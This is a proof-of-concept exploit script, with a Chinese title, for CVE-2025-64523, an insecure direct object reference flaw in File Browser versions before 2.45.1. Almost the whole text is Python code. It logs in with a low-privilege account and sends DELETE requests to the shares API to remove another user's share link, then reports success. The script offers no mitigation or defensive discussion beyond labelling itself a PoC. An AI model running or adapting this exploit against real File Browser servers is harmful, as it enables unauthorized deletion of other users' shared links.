CVE-2025-64523 File Browser共享删除IDOR漏洞导致未授权删除他人共享链接

# CVE-2025-64523 PoC - File Browser IDOR in Share Deletion # Affected: File Browser < 2.45.1 import requests import json TARGET_URL = "http://target-filebrowser.com" USERNAME = "attacker" PASSWORD = "password123" TARGET_SHARE_ID = "victim_share_link_id" # ID of victim's share link def login(): """Authenticate and get session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/api/login" resp = session.post(login_url, json={"username": USERNAME, "password": PASSWORD}) if resp.status_code == 200: return session return None def delete_share_link(session, share_id): """Delete a share link - vulnerable endpoint""" delete_url = f"{TARGET_URL}/api/shares/{share_id}" resp = session.delete(delete_url) return resp.status_code == 200 def main(): print("[*] CVE-2025-64523 File Browser IDOR PoC") print("[*] Target: ", TARGET_URL) # Step 1: Login with low-privilege account session = login() if not session: print("[-] Login failed") return print("[+] Logged in successfully") # Step 2: Exploit IDOR by deleting victim's share link if delete_share_link(session, TARGET_SHARE_ID): print(f"[+] Successfully deleted share link: {TARGET_SHARE_ID}") print("[*] IDOR vulnerability confirmed - deleted unauthorized share link") else: print("[-] Failed to delete share link") if __name__ == "__main__": main()